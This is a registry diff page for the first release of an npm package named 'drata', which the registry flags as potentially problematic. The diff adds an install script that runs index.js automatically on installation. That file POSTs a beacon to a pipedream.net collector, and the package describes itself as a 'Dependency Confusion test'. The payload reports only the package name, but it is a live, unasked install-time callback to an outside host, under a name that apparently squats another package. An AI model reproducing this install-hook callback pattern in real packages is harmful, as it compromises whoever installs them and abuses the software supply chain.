drata 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of drata might be problematic. Click here for more details.
- package/index.js +20 -0
- package/package.json +15 -0
package/index.js
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
const https = require("https")
|
|
2
|
+
|
|
3
|
+
const data = JSON.stringify({
|
|
4
|
+
"package": "darta"
|
|
5
|
+
})
|
|
6
|
+
|
|
7
|
+
const options = {
|
|
8
|
+
hostname: "eo6zs9q1nkdd0ph.m.pipedream.net",
|
|
9
|
+
port: 443,
|
|
10
|
+
path: "/?pkg=drata",
|
|
11
|
+
method: "POST",
|
|
12
|
+
headers: {
|
|
13
|
+
"Content-Type": "application/json",
|
|
14
|
+
"Content-Length": data.length,
|
|
15
|
+
},
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
const req = https.request(options)
|
|
19
|
+
req.write(data)
|
|
20
|
+
req.end()
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "drata",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "drata : Dependency Confusion test",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"install": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"drata"
|
|
12
|
+
],
|
|
13
|
+
"author": "web705207",
|
|
14
|
+
"license": "ISC"
|
|
15
|
+
}
|